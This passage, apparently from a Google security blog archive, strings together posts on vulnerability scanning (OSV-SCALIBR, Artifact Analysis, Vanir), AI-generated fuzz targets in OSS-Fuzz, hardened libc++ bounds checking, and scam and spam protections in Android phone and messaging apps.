vulnerabilities on your filesystem or a remote container:Extract the PURLs from the SCALIBR inventory results from the previous steps:import ( ... "github.com/google/osv-scalibr/converter" ...)...result := scalibr.New().Scan(ctx, cfg)for _, i := range result.Inventories { fmt.Println(converter.ToPURL(i))}And send them to osv.dev, e.g.$ curl -d '{"package": {"purl": "pkg:npm/dojo@1.2.3"}}' "https://api.osv.dev/v1/query"See the usage docs for more details.OSV-Scanner + OSV-SCALIBRUsers looking for an out-of-the-box vulnerability scanning CLI tool should check out OSV-Scanner, which already provides comprehensive language package scanning capabilities using much of the same extraction as OSV-SCALIBR. Some of OSV-SCALIBR’s capabilities are not yet available in OSV-Scanner, but we’re currently working on integrating OSV-SCALIBR more deeply into OSV-Scanner. This will make more and more of OSV-SCALIBR’s capabilities available in OSV-Scanner in the next few months, including installed package extraction, weak credentials scanning, SBOM generation, and more.Look out soon for an announcement of OSV-Scanner V2 with many of these new features available. OSV-Scanner will become the primary frontend to the OSV-SCALIBR library for users who require a CLI interface. Existing users of OSV-Scanner can continue to use the tool the same way, with backwards compatibility maintained for all existing use cases. For installation and usage instructions, have a look at OSV-Scanner’s documentation here.What’s nextIn addition to making all of OSV-SCALIBR’s features available in OSV-Scanner, we're also working on additional new capabilities. Here's some of the things you can expect:Support for more OS and language ecosystems, both for regular extraction and for Guided RemediationLayer attribution and base image identification for container scanningReachability analysis to reduce false positive vulnerability matchesMore vulnerability and misconfiguration detectors for WindowsMore weak credentials detectorsWe hope that this library helps developers and organizations to secure their software and encourages the open source community to contribute back by sharing new plugins on top of OSV-SCALIBR.If you have any questions or if you would like to contribute, don't hesitate to reach out to us at osv-discuss@google.com or by posting an issue in our issue tracker.

Posted by Greg Mucci, Product Manager, Artifact Analysis, Oliver Chang, Senior Staff Engineering, OSV, and Charl de Nysschen, Product Manager OSVDevOps teams dedicated to securing their supply chain and predicting potential risks consistently face novel threats. Fortunately, they can now improve their image and container security by harnessing Google-grade vulnerability scanning, which offers expanded open-source coverage. A significant benefit of utilizing Google Cloud Platform is its integrated security tools, including Artifact Analysis. This scanning service leverages the same infrastructure that Google depends on to monitor vulnerabilities within its internal systems and software supply chains.Artifact Analysis has recently expanded its scanning coverage to eight additional language packages, four operating systems, and two extensively utilized base images, making it a more robust and versatile tool than ever before.   This enhanced coverage was achieved by integrating Artifact Analysis with the Open Source Vulnerabilities (OSV) platform and database. This integration provides industry-leading insights into open source vulnerabilities—a crucial capability as software supply chain attacks continue to grow in frequency and complexity, impacting organizations reliant on open source software.With these recent updates, customers can now successfully scan the vast majority of the images they push to Artifact Registry. These successful scans ensure that any known vulnerabilities are detected, reported, and can be integrated into a broader vulnerability management program, allowing teams to take prompt action.Open source vulnerabilities, with more reach Artifact Analysis pulls vulnerability information directly from OSV, which is the only open source, distributed vulnerability database that gets information directly from open source practitioners. OSV’s database provides a consistent, high quality, high fidelity database of vulnerabilities from authoritative sources who have adopted the OSV schema. This ensures the database has accurate information to reliably match software dependencies to known vulnerabilities—previously a difficult process reliant on inaccurate mechanisms such as CPEs (Common Platform Enumerations). Over the past three years, OSV has increased its total coverage to 28 language and OS ecosystems. For example, industry leaders such as GitHub, Chainguard, and Ubuntu, as well as open source ecosystems such as Rust and Python are now exporting their vulnerability discoveries in the OSV Schema. This increased coverage also includes Chainguard’s Wolfi images and Google’s Distroless images, which are popular choices for minimal container images used by many developers and organizations. Customers who rely on distroless images can count on Artifact Analysis scanning to support their minimal container image initiatives.  Each expansion in OSV’s coverage is incorporated into scanning tools that integrate with the OSV database.Broader vulnerability detection with Artifact Analysis As a result of OSV’s expansion, scanners like Artifact Analysis that draw from OSV now alert users to higher quality vulnerability information across a broader set of ecosystems—meaning GCP project owners will be made aware of a more complete set of vulnerability findings and potential security risks. Existing Artifact Registry scanning customers don't need to take any action to take advantage of this update. Projects that have scanning enabled will immediately benefit from this expanded coverage and vulnerability findings will continue to be available in the Artifact Registry UI, Container Analysis API, and via pub/sub (for workflows).Existing On Demand scanning customers will also benefit from this expanded vulnerability coverage. All the same Operating Systems and Language package coverage that Registry Scanning customers enjoy are available in On Demand Scan. Beyond Artifact Registry We know that detection is just one of the first steps necessary to manage risks. We’re continually expanding Artifact Analysis capabilities and in 2025 we’ll be integrating Artifact Registry vulnerability findings with Google Cloud’s Security Command Center. Through Security Command Center customers can maintain a more comprehensive vulnerability management program, and prioritize risk across a number of different dimensions. 

Posted by Hyunwook Baek, Duy Truong, Justin Dunlap and Lauren Stan from Android Security and Privacy, and Oliver Chang with the Google Open Source Security TeamToday, we are announcing the availability of Vanir, a new open-source security patch validation tool. Introduced at Android Bootcamp in April, Vanir gives Android platform developers the power to quickly and efficiently scan their custom platform code for missing security patches and identify applicable available patches. Vanir significantly accelerates patch validation by automating this process, allowing OEMs to ensure devices are protected with critical security updates much faster than traditional methods. This strengthens the security of the Android ecosystem, helping to keep Android users around the world safe. By open-sourcing Vanir, we aim to empower the broader security community to contribute to and benefit from this tool, enabling wider adoption and ultimately improving security across various ecosystems. While initially designed for Android, Vanir can be easily adapted to other ecosystems with relatively small modifications, making it a versatile tool for enhancing software security across the board. In collaboration with the Google Open Source Security Team, we have incorporated feedback from our early adopters to improve Vanir and make it more useful for security professionals. This tool is now available for you to start developing on top of, and integrating into, your systems.The Android ecosystem relies on a multi-stage process for vulnerability mitigation. When a new vulnerability is discovered, upstream AOSP developers create and release upstream patches. The downstream device and chip manufacturers then assess the impact on their specific devices and backport the necessary fixes. This process, while effective, can present scalability challenges, especially for manufacturers managing a diverse range of devices and old models with complex update histories. Managing patch coverage across diverse and customized devices often requires considerable effort due to the manual nature of backporting.To streamline the vital security workflow, we developed Vanir. Vanir provides a scalable and sustainable solution for security patch adoption and validation, helping to ensure Android devices receive timely protection against potential threats.The power of VanirSource-code-based static analysis Vanir’s first-of-its-kind approach to Android security patch validation uses source-code-based static analysis to directly compare the target source code against known vulnerable code patterns. Vanir does not rely on traditional metadata-based validation mechanisms, such as version numbers, repository history and build configs, which can be prone to errors. This unique approach enables Vanir to analyze entire codebases with full history, individual files, or even partial code snippets. A main focus of Vanir is to automate the time consuming and costly process of identifying missing security patches in the open source software ecosystem. During the early development of Vanir, it became clear that manually identifying a high-volume of missing patches is not only labor intensive but also can leave user devices inadvertently exposed to known vulnerabilities for a period of time. To address this, Vanir utilizes novel automatic signature refinement techniques and multiple pattern analysis algorithms, inspired by the vulnerable code clone detection algorithms proposed by Jang et al. [1] and Kim et al. [2]. These algorithms have low false-alarm rates and can effectively handle broad classes of code changes that might appear in code patch processes. In fact, based on our 2-year operation of Vanir, only 2.72% of signatures triggered  false alarms. This allows Vanir to efficiently find missing patches, even with code changes, while minimizing unnecessary alerts and manual review efforts. Vanir's source-code-based approach also enables rapid scaling across any ecosystem. It can generate signatures for any source files written in supported languages. Vanir's signature generator automatically generates, tests, and refines these signatures, allowing users to quickly create signatures for new vulnerabilities in any ecosystem simply by providing source files with security patches. Android’s successful use of Vanir highlights its efficiency compared to traditional patch verification methods. A single engineer used Vanir to generate signatures for over 150 vulnerabilities and verify missing security patches across its downstream branches – all within just five days.Vanir for AndroidCurrently Vanir supports C/C++ and Java targets and covers 95% of Android kernel and userspace CVEs with public security patches. Google Android Security team consistently incorporates the latest CVEs into Vanir’s coverage to provide a complete picture of the Android ecosystem’s patch adoption risk profile. The Vanir signatures for Android vulnerabilities are published through the Open Source Vulnerabilities (OSV) database. This allows Vanir users to seamlessly protect their codebases against latest Android vulnerabilities without any additional updates. Currently, there are over 2,000 Android vulnerabilities in OSV, and finishing scanning an entire Android source tree can take 10-20 minutes with a modern PC.Flexible integration, adoption and expansion.Vanir is developed not only as a standalone application but also as a Python library. Users who want to integrate automated patch verification processes with their continuous build or test chain may easily achieve it by wiring their build integration tool with Vanir scanner libraries. For instance, Vanir is integrated with a continuous testing pipeline in Google, ensuring all security patches are adopted in ever-evolving Android codebase and their first-party downstream branches.Vanir is also fully open-sourced, and under BSD-3 license. As Vanir is not fundamentally limited to the Android ecosystem, you may easily adopt Vanir for the ecosystem that you want to protect by making relatively small modifications in Vanir. In addition, since Vanir’s underlying algorithm is not limited to security patch validation, you may modify the source and use it for different purposes such as licensed code detection or code clone detection. The Android Security team welcomes your contributions to Vanir for any direction that may expand its capability and scope. You can also contribute to Vanir by providing vulnerability data with Vanir signatures to OSV.Vanir ResultsSince early last year, we have partnered with several Android OEMs to test the tool’s effectiveness. Internally we have been able to integrate the tool into our build system continuously testing against over 1,300 vulnerabilities. Currently Vanir covers 95% of all Android, Wear, and Pixel vulnerabilities with public fixes across Android Kernel and Userspace. It has a 97% accuracy rate, which has saved our internal teams over 500 hours to date in patch fix time.Next stepsWe are happy to announce that Vanir is now available for public use. Vanir is not technically limited to Android, and we are also actively exploring problems that Vanir may help address, such as general C/C++ dependency management via integration with OSV-scanner. If you are interested in using or contributing to Vanir, please visit github.com/google/vanir. Please join our public community to submit your feedback and questions on the tool. We look forward to working with you on Vanir!

Posted by Oliver Chang, Dongge Liu and Jonathan Metzman, Google Open Source Security TeamRecently, OSS-Fuzz reported 26 new vulnerabilities to open source project maintainers, including one vulnerability in the critical OpenSSL library (CVE-2024-9143) that underpins much of internet infrastructure. The reports themselves aren’t unusual—we’ve reported and helped maintainers fix over 11,000 vulnerabilities in the 8 years of the project. But these particular vulnerabilities represent a milestone for automated vulnerability finding: each was found with AI, using AI-generated and enhanced fuzz targets. The OpenSSL CVE is one of the first vulnerabilities in a critical piece of software that was discovered by LLMs, adding another real-world example to a recent Google discovery of an exploitable stack buffer underflow in the widely used database engine SQLite.This blog post discusses the results and lessons over a year and a half of work to bring AI-powered fuzzing to this point, both in introducing AI into fuzz target generation and expanding this to simulate a developer’s workflow. These efforts continue our explorations of how AI can transform vulnerability discovery and strengthen the arsenal of defenders everywhere.The story so farIn August 2023, the OSS-Fuzz team announced AI-Powered Fuzzing, describing our effort to leverage large language models (LLM) to improve fuzzing coverage to find more vulnerabilities automatically—before malicious attackers could exploit them. Our approach was to use the coding abilities of an LLM to generate more fuzz targets, which are similar to unit tests that exercise relevant functionality to search for vulnerabilities. The ideal solution would be to completely automate the manual process of developing a fuzz target end to end:Drafting an initial fuzz target.Fixing any compilation issues that arise. Running the fuzz target to see how it performs, and fixing any obvious mistakes causing runtime issues.Running the corrected fuzz target for a longer period of time, and triaging any crashes to determine the root cause.Fixing vulnerabilities. In August 2023, we covered our efforts to use an LLM to handle the first two steps. We were able to use an iterative process to generate a fuzz target with a simple prompt including hardcoded examples and compilation errors. In January 2024, we open sourced the framework that we were building to enable an LLM to generate fuzz targets. By that point, LLMs were reliably generating targets that exercised more interesting code coverage across 160 projects. But there was still a long tail of projects where we couldn’t get a single working AI-generated fuzz target.To address this, we’ve been improving the first two steps, as well as implementing steps 3 and 4.New results: More code coverage and discovered vulnerabilitiesWe’re now able to automatically gain more coverage in 272 C/C++ projects on OSS-Fuzz (up from 160), adding 370k+ lines of new code coverage. The top coverage improvement in a single project was an increase from 77 lines to 5434 lines (a 7000% increase).This led to the discovery of 26 new vulnerabilities in projects on OSS-Fuzz that already had hundreds of thousands of hours of fuzzing. The highlight is CVE-2024-9143 in the critical and well-tested OpenSSL library. We reported this vulnerability on September 16 and a fix was published on October 16. As far as we can tell, this vulnerability has likely been present for two decades and wouldn’t have been discoverable with existing fuzz targets written by humans.Another example was a bug in the project cJSON, where even though an existing human-written harness existed to fuzz a specific function, we still discovered a new vulnerability in that same function with an AI-generated target. One reason that such bugs could remain undiscovered for so long is that line coverage is not a guarantee that a function is free of bugs. Code coverage as a metric isn’t able to measure all possible code paths and states—different flags and configurations may trigger different behaviors, unearthing different bugs. These examples underscore the need to continue to generate new varieties of fuzz targets even for code that is already fuzzed, as has also been shown by Project Zero in the past (1, 2).New improvementsTo achieve these results, we’ve been focusing on two major improvements:Automatically generate more relevant context in our prompts. The more complete and relevant information we can provide the LLM about a project, the less likely it would be to hallucinate the missing details in its response. This meant providing more accurate, project-specific context in prompts, such as function, type definitions, cross references, and existing unit tests for each project. To generate this information automatically, we built new infrastructure to index projects across OSS-Fuzz. LLMs turned out to be highly effective at emulating a typical developer’s entire workflow of writing, testing, and iterating on the fuzz target, as well as triaging the crashes found. Thanks to this, it was possible to further automate more parts of the fuzzing workflow. This additional iterative feedback in turn also resulted in higher quality and greater number of correct fuzz targets. The workflow in actionOur LLM can now execute the first four steps of the developer’s process (with the fifth soon to come). 1. Drafting an initial fuzz targetA developer might check the source code, existing documentation and unit tests, as well as  usages of the target function when to draft an initial fuzz target. An LLM can fulfill this role here, if we provide a prompt with this information and ask it to come up with a fuzz target. Prompt: Your goal is to write a fuzzing harness for the provided function-under-test signature using <code>LLVMFuzzerTestOneInput</code>. It is important that the provided solution compiles and actually calls the function-under-test specified by the function signature:<function signature>unsigned char * buffer_append_base64_decode(buffer *, const char *, size_t, base64_charset)</function signature>Here is the source code of the function being tested:<code>unsigned char* buffer_append_base64_decode(buffer *out, const char* in, size_t in_length, base64_charset charset) {    const size_t reserve = 3*(in_length/4) + 3;    unsigned char * const result = (unsigned char *)      buffer_string_prepare_append(out, reserve);    const size_t out_pos =      li_base64_dec(result, reserve, in, in_length, charset);    buffer_commit(out, out_pos);    return (out_pos || !in_length) ? result : NULL;}</code>Here is the source code for functions which reference the function being tested:<code>…  2. Fixing any compilation issues that arise. Once a developer has a candidate target, they would try to compile it and look at any compilation issues that arise. Again, we can prompt an LLM with details of the compilation errors so it can provide fixes.  Prompt: Below is the error to fix:The code has the following build issues:<error>server_fuzzer.cc:12:46: error: only virtual member functions can be marked 'override'   12 |   bool OnData(const char* data, size_t size) override {      |                                              ^~~~~~~~server_fuzzer.cc:22:39: error: no type named 'MultiPartFile' in namespace 'httplib'   22 |                        const httplib::MultiPartFile& file) override {      |                              ~~~~~~~~~^server_fuzzer.cc:12:27: warning: unused parameter 'data' [-Wunused-parameter]   12 |   bool OnData(const char* data, size_t size) override {      |                           ^server_fuzzer.cc:37:5: error: use of undeclared 'operator()'   37 |     operator()(request_data.data(), receiver);      |     ^server_fuzzer.cc:27:23: warning: private field 'provider_' is not used [-Wunused-private-field]   27 |   FuzzedDataProvider& provider_;      |                       ^</error>Example of compilation errors that an LLM was able to fix3. Running the fuzz target to see how it performs, and fixing any obvious mistakes causing runtime issues.Once all compilation errors are fixed, a developer would try running the fuzz target for a short period of time to see if there were any mistakes that led it to instantly crash, suggesting an error with the target rather than a bug discovered in the project.The following is an example of an LLM fixing a semantic issue with the fuzzing setup: LLM Response:<explanation>The issue is that `sqlite3_blob_open` requires the table to exist before you can open a blob on it. The fix ensures that the table exists by executing a `CREATE TABLE IF NOT EXISTS` statement before calling `sqlite3_blob_open`. Here's a breakdown of the changes:1. **Create Table Query:** A string `createTableQuery` is constructed to hold the SQL statement for creating the table. It uses the fuzzed values for the table and column names.2. **Prepare Statement:** `sqlite3_prepare_v2` is used to prepare the SQL statement from `createTableQuery`. This compiles the SQL into a byte-code program that SQLite can execute.3. **Execute Statement:** `sqlite3_step` executes the prepared statement. Since it's a `CREATE TABLE` statement, it doesn't return any data, but it creates the table if it doesn't exist.4. **Finalize Statement:** `sqlite3_finalize` destroys the prepared statement object when it's no longer needed.By adding these steps before calling `sqlite3_blob_open`, we ensure that the table exists, preventing the null pointer access issue. </explanation>4. Running the corrected fuzz target for a longer period of time, and triaging any crashes.At this point, the fuzz target is ready to run for an extended period of time on a suitable fuzzing infrastructure, such as ClusterFuzz. Any discovered crashes would then need to be triaged, to determine the root causes and whether they represented legitimate vulnerabilities (or bugs in the fuzz target). An LLM can be prompted with the relevant context (stacktraces, fuzz target source code, relevant project source code) to perform this triage. Prompt: Given the following crash report, fuzz driver code and relevant project function code, analyze the cause of the crash.First, only answer “Crash is caused by bug in fuzz driver” or “Crash is caused by bug in project”. Second, offer a succinct and to-the-point analysis.Below is crash report:<log>AddressSanitizer: heap-use-after-free on address 0x502000000630 at pc 0x560036939242 bp 0x7ffd65dca850 sp 0x7ffd65dca010READ of size 1 at 0x502000000630 thread T0SCARINESS: 40 (1-byte-read-heap-use-after-free)    #0 0x560036939241 in __asan_memcpy /src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:63:3    #1 0x56003697d30b in EmitLiteral<false> /src/snappy/snappy.cc:661:5    #2 0x56003697d30b in snappy::internal::CompressFragment(char const*, unsigned long, char*, unsigned short*, int) /src/snappy/snappy.cc:954:10In this example, the LLM correctly determines this is a bug in the fuzz target, rather than a bug in the project being fuzzed. LLM Response: Crash is caused by bug in fuzz driver.The fuzz driver creates a vector of `iovec` structures, each pointing to a chunk of memory owned by the `FuzzedDataProvider`. However, the `data_chunk` vector, which holds the actual data pointed to by `iov_base`, is deallocated at the end of each fuzzer iteration when it goes out of scope. This leaves the `iov_base` pointers dangling. When `snappy::CompressFromIOVec` tries to access the memory pointed to by these dangling pointers, a heap-use-after-free occurs. 5. Fixing vulnerabilities. The goal is to fully automate this entire workflow by having the LLM generate a suggested patch for the vulnerability. We don’t have anything we can share here today, but we’re collaborating with various researchers to make this a reality and look forward to sharing results soon. Up nextImproving automated triaging: to get to a point where we’re confident about not requiring human review. This will help automatically report new vulnerabilities to project maintainers. There are likely more than the 26 vulnerabilities we’ve already reported upstream hiding in our results.Agent-based architecture: which means letting the LLM autonomously plan out the steps to solve a particular problem by providing it with access to tools that enable it to get more information, as well as to check and validate results. By providing LLM with interactive access to real tools such as debuggers, we’ve found that the LLM is more likely to arrive at a correct result.Integrating our research into OSS-Fuzz as a feature: to achieve a more fully automated end-to-end solution for vulnerability discovery and patching. We hope OSS-Fuzz will be useful for other researchers to evaluate AI-powered vulnerability discovery ideas and ultimately become a tool that will enable defenders to find more vulnerabilities before they get exploited. For more information, check out our open source framework at oss-fuzz-gen. We’re hoping to continue to collaborate on this area with other researchers. Also, be sure to check out the OSS-Fuzz blog for more technical updates.

Posted by Alex Rebert and Max Shavrick, Security Foundations, and Kinuko Yasuda, Core Developer Attackers regularly exploit spatial memory safety vulnerabilities, which occur when code accesses a memory allocation outside of its intended bounds, to compromise systems and sensitive data. These vulnerabilities represent a major security risk to users.  Based on an analysis of in-the-wild exploits tracked by Google's Project Zero, spatial safety vulnerabilities represent 40% of in-the-wild memory safety exploits over the past decade: Breakdown of memory safety CVEs exploited in the wild by vulnerability class.1 Google is taking a comprehensive approach to memory safety. A key element of our strategy focuses on Safe Coding and using memory-safe languages in new code. This leads to an exponential decline in memory safety vulnerabilities and quickly improves the overall security posture of a codebase, as demonstrated by our post about Android's journey to memory safety. However, this transition will take multiple years as we adapt our development practices and infrastructure. Ensuring the safety of our billions of users therefore requires us to go further: we're also retrofitting secure-by-design principles to our existing C++ codebase wherever possible. To that end, we're working towards bringing spatial memory safety into as many of our C++ codebases as possible, including Chrome and the monolithic codebase powering our services. We’ve begun by enabling hardened libc++, which adds bounds checking to standard C++ data structures, eliminating a significant class of spatial safety bugs. While C++ will not become fully memory-safe, these improvements reduce risk as discussed in more detail in our perspective on memory safety, leading to more reliable and secure software. This post explains how we're retrofitting hardened libc++ across our codebases and  showcases the positive impact it's already having, including preventing exploits, reducing crashes, and improving code correctness. Bounds-checked data structures: The foundation for spatial safety One of our primary strategies for improving spatial safety in C++ is to implement bounds checking for common data structures, starting with hardening the C++ standard library (in our case, LLVM’s libc++). Hardened libc++, recently added by open source contributors, introduces a set of security checks designed to catch vulnerabilities such as out-of-bounds accesses in production. For example, hardened libc++ ensures that every access to an element of a std::vector stays within its allocated bounds, preventing attempts to read or write beyond the valid memory region. Similarly, hardened libc++ checks that a std::optional isn't empty before allowing access, preventing access to uninitialized memory. This approach mirrors what's already standard practice in many modern programming languages like Java, Python, Go, and Rust. They all incorporate bounds checking by default, recognizing its crucial role in preventing memory errors. C++ has been a notable exception, but efforts like hardened libc++ aim to close this gap in our infrastructure. It’s also worth noting that similar hardening is available in other C++ standard libraries, such as libstdc++. Raising the security baseline across the board Building on the successful deployment of hardened libc++ in Chrome in 2022, we've now made it default across our server-side production systems. This improves spatial memory safety across our services, including key performance-critical components of products like Search, Gmail, Drive, YouTube, and Maps. While a very small number of components remain opted out, we're actively working to reduce this and raise the bar for security across the board, even in applications with lower exploitation risk. The performance impact of these changes was surprisingly low, despite Google's modern C++ codebase making heavy use of libc++. Hardening libc++ resulted in an average 0.30% performance impact across our services (yes, only a third of a percent). This is due to both the compiler's ability to eliminate redundant checks during optimization, and the efficient design of hardened libc++. While a handful of performance-critical code paths still require targeted use of explicitly unsafe accesses, these instances are carefully reviewed for safety. Techniques like profile-guided optimizations further improved performance, but even without those advanced techniques, the overhead of bounds checking remains minimal. We actively monitor the performance impact of these checks and work to minimize any unnecessary overhead. For instance, we identified and fixed an unnecessary check, which led to a 15% reduction in overhead (reduced from 0.35% to 0.3%), and contributed the fix back to the LLVM project to share the benefits with the broader C++ community. While hardened libc++'s overhead is minimal for individual applications in most cases, deploying it at Google's scale required a substantial commitment of computing resources. This investment underscores our dedication to enhancing the safety and security of our products. From tests to production Enabling libc++ hardening wasn't a simple flip of a switch. Rather, it required a multi-stage rollout to avoid accidentally disrupting users or creating an outage: Testing: We first enabled hardened libc++ in our tests over a year ago. This allowed us to identify and fix hundreds of previously undetected bugs in our code and tests. Baking: We let the hardened runtime "bake" in our testing and pre-production environments, giving developers time to adapt and address any new issues that surfaced. We also conducted extensive performance evaluations, ensuring minimal impact to our users' experience. Gradual Production Rollout: We then rolled out hardened libc++ to production over several months, starting with a small set of services and gradually expanding to our entire infrastructure. We closely monitored the rollout, promptly addressing any crashes or performance regressions. Quantifiable impact In just a few months since enabling hardened libc++ by default, we've already seen benefits. Preventing exploits: Hardened libc++ has already disrupted an internal red team exercise and would have prevented another one that happened before we enabled hardening, demonstrating its effectiveness in thwarting exploits. The safety checks have uncovered over 1,000 bugs, and would prevent 1,000 to 2,000 new bugs yearly at our current rate of C++ development. Improved reliability and correctness: The process of identifying and fixing bugs uncovered by hardened libc++ led to a 30% reduction in our baseline segmentation fault rate across production, indicating improved code reliability and quality. Beyond crashes, the checks also caught errors that would have otherwise manifested as unpredictable behavior or data corruption. Moving average of segfaults across our fleet over time, before and after enablement. Easier debugging: Hardened libc++ enabled us to identify and fix multiple bugs that had been lurking in our code for more than a decade. The checks transform many difficult-to-diagnose memory corruptions into immediate and easily debuggable errors, saving developers valuable time and effort. Bridging the gap with memory-safe languages While libc++ hardening provides immediate benefits by adding bounds checking to standard data structures, it's only one piece of the puzzle when it comes to spatial safety. We're expanding bounds checking to other libraries and working to migrate our code to Safe Buffers, requiring all accesses to be bounds checked. For spatial safety, both hardened data structures, including their iterators, and Safe Buffers are necessary. Beyond improving the safety of our C++, we're also focused on making it easier to interoperate with memory-safe languages. Migrating our C++ to Safe Buffers shrinks the gap between the languages, which simplifies interoperability and potentially even an eventual automated translation. Building a safer C++ ecosystem Hardened libc++ is a practical and effective way to enhance the safety, reliability, and debuggability of C++ code with minimal overhead. Given this, we strongly encourage organizations using C++ to enable their standard library's hardened mode universally by default. At Google, enabling hardened libc++ is only the first step in our journey towards a spatially safe C++ codebase. By expanding bounds checking, migrating to Safe Buffers, and actively collaborating with the broader C++ community, we aim to create a future where spatial safety is the norm. Acknowledgements We’d like to thank Emilia Kasper, Chandler Carruth, Duygu Isler, Matthew Riley, and Jeff Vander Stoep for their helpful feedback. We also extend our thanks to the libc++ community for developing the hardening mode that made this work possible. Based on manual analysis of CVEs from July 15, 2014 to Dec 14, 2023. Note that we could not classify 11% of CVEs.. ↩

Posted by Lyubov Farafonova, Product Manager and Steve Kafka, Group Product Manager, Android User safety is at the heart of everything we do at Google. Our mission to make technology helpful for everyone means building features that protect you while keeping your privacy top of mind. From Gmail’s defenses that stop more than 99.9% of spam, phishing and malware, to Google Messages’ advanced security that protects users from 2 billion suspicious messages a month and beyond, we're constantly developing and expanding protection features that help keep you safe. We're introducing two new real-time protection features that enhance your safety, all while safeguarding your privacy: Scam Detection in Phone by Google to protect you from scams and fraud, and Google Play Protect live threat detection with real-time alerts to protect you from malware and dangerous apps. These new security features are available first on Pixel, and are coming soon to more Android devices. More intelligent AI-powered protection against scams Scammers steal over $1 trillion dollars a year from people, and phone calls are their favorite way to do it. Even more alarming, scam calls are evolving, becoming increasingly more sophisticated, damaging and harder to identify. That’s why we’re using the best of Google AI to identify and stop scams before they can do harm with Scam Detection. Real-time protection, built with your privacy in mind. Real-time defense, right on your device: Scam Detection uses powerful on-device AI to notify you of a potential scam call happening in real-time by detecting conversation patterns commonly associated with scams. For example, if a caller claims to be from your bank and asks you to urgently transfer funds due to an alleged account breach, Scam Detection will process the call to determine whether the call is likely spam and, if so, can provide an audio and haptic alert and visual warning that the call may be a scam. Private by design, you’re always in control: We’ve built Scam Detection to protect your privacy and ensure you’re always in control of your data. Scam Detection is off by default, and you can decide whether you want to activate it for future calls. At any time, you can turn it off for all calls in the Phone app Settings, or during a particular call. The AI detection model and processing are fully on-device, which means that no conversation audio or transcription is stored on the device, sent to Google servers or anywhere else, or retrievable after the call. Cutting-edge AI protection, now on more Pixel phones: Gemini Nano, our advanced on-device AI model, powers Scam Detection on Pixel 9 series devices. As part of our commitment to bring powerful AI features to even more devices, this AI-powered protection is available to Pixel 6+ users thanks to other robust Google on-device machine learning models. We’re now rolling out Scam Detection to English-speaking Phone by Google public beta users in the U.S. with a Pixel 6 or newer device. To provide feedback on your experience, please click on Phone by Google App -> Menu -> Help & Feedback -> Send Feedback. We look forward to learning from this beta and your feedback, and we’ll share more about Scam Detection in the months ahead. More real-time alerts to protect you from bad apps Google Play Protect works non-stop to protect you in real-time from malware and unsafe apps. Play Protect analyzes behavioral signals related to the use of sensitive permissions and interactions with other apps and services.With live threat detection, if a harmful app is found, you'll now receive a real-time alert, allowing you to take immediate action to protect your device. By looking at actual activity patterns of apps, live threat detection can now find malicious apps that try extra hard to hide their behavior or lie dormant for a time before engaging in suspicious activity. At launch, live threat detection will focus on stalkerware, code that may collect personal or sensitive data for monitoring purposes without user consent, and we will explore expanding its detection to other types of harmful apps in the future. All of this protection happens on your device in a privacy preserving way through Private Compute Core, which allows us to protect users without collecting data. Live threat detection with real-time alerts in Google Play Protect are now available on Pixel 6+ devices and will be coming to additional phone makers in the coming months.

Posted by Jan Jedrzejowicz, Director of Product, Android and Business Communications; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse; Stephan Somogyi, Product Lead, User Protection; Branden Archer, Software Engineer Every day, over a billion people use Google Messages to communicate. That’s why we’ve made security a top priority, building in powerful on-device, AI-powered filters and advanced security that protects users from 2 billion suspicious messages a month. With end-to-end encrypted1 RCS conversations, you can communicate privately with other Google Messages RCS users. And we’re not stopping there. We're committed to constantly developing new controls and features to make your conversations on Google Messages even more secure and private. As part of cybersecurity awareness month, we're sharing five new protections to help keep you safe while using Google Messages on Android: Enhanced detection protects you from package delivery and job scams. Google Messages is adding new protections against scam texts that may seem harmless at first but can eventually lead to fraud. For Google Messages beta users2, we’re rolling out enhanced scam detection, with improved analysis of scammy texts, starting with a focus on package delivery and job seeking messages. When Google Messages suspects a potential scam text, it will automatically move the message into your spam folder or warn you. Google Messages uses on-device machine learning models to classify these scams, so your conversations stay private and the content is never sent to Google unless you report spam. We’re rolling this enhancement out now to Google Messages beta users who have spam protection enabled. Intelligent warnings alert you about potentially dangerous links. In the past year, we’ve been piloting more protections for Google Messages users when they receive text messages with potentially dangerous links. In India, Thailand, Malaysia and Singapore, Google Messages warns users when they get a link from unknown senders and blocks messages with links from suspicious senders. We’re in the process of expanding this feature globally later this year. Controls to turn off messages from unknown international senders. In some cases, scam text messages come from international numbers. Soon, you will be able to automatically hide messages from international senders who are not existing contacts so you don’t have to interact with them. If enabled, messages from international non-contacts will automatically be moved to the “Spam & blocked” folder. This feature will roll out first as a pilot in Singapore later this year before we look at expanding to more countries. Sensitive Content Warnings give you control over seeing and sending images that may contain nudity. At Google, we aim to provide users with a variety of ways to protect themselves against unwanted content, while keeping them in control of their data. This is why we’re introducing Sensitive Content Warnings for Google Messages.Sensitive Content Warnings is an optional feature that blurs images that may contain nudity before viewing, and then prompts with a “speed bump” that contains help-finding resources and options, including to view the content. When the feature is enabled, and an image that may contain nudity is about to be sent or forwarded, it also provides a speed bump to remind users of the risks of sending nude imagery and preventing accidental shares.All of this happens on-device to protect your privacy and keep end-to-end encrypted message content private to only sender and recipient. Sensitive Content Warnings doesn’t allow Google access to the contents of your images, nor does Google know that nudity may have been detected. This feature is opt-in for adults, managed via Android Settings, and is opt-out for users under 18 years of age. Sensitive Content Warnings will be rolling out to Android 9+ devices including Android Go devices3 with Google Messages in the coming months. More confirmation about who you’re messaging. To help you avoid sophisticated messaging threats where an attacker tries to impersonate one of your contacts, we’re working to add a contact verifying feature to Android. This new feature will allow you to verify your contacts' public keys so you can confirm you’re communicating with the person you intend to message. We’re creating a unified system for public key verification across different apps, which you can verify through QR code scanning or number comparison. This feature will be launching next year for Android 9+ devices, with support for messaging apps including Google Messages. These are just some of the new and upcoming features that you can use to better protect yourself when sending and receiving messages. Download Google Messages from the Google Play Store to enjoy these protections and controls and learn more about Google Messages here. Notes End-to-end encryption is currently available between Google Messages users. Availability of RCS varies by region and carrier. ↩ Availability of features may vary by market and device. Sign up for beta testing and a data plan may be required.  ↩ Requires 2 GB of RAM. ↩

